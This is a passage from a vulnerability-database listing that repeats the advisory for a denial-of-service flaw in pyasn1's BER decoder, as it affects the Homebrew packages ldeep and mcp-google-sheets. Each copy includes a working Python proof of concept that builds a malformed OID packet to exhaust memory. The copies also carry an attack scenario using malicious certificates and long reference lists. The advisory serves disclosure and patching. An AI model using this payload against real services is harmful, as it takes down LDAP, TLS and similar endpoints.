      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-LDEEP-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:02 – Updated: 2026-11-08 09:12 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "ldeep",
            "purl": "pkg:brew/ldeep"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.0.64"
                },
                {
                  "fixed": "2.0.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-ldeep-CVE-2026-23490",
      "modified": "2026-11-08T09:12:33Z",
      "published": "2026-08-13T17:02:17Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-MCP-GOOGLE-SHEETS-C… (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 17:13 – Updated: 2026-10-31 19:04 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "mcp-google-sheets",
            "purl": "pkg:brew/mcp-google-sheets"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0.5.1"
                },
                {
                  "fixed": "0.6.0_2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
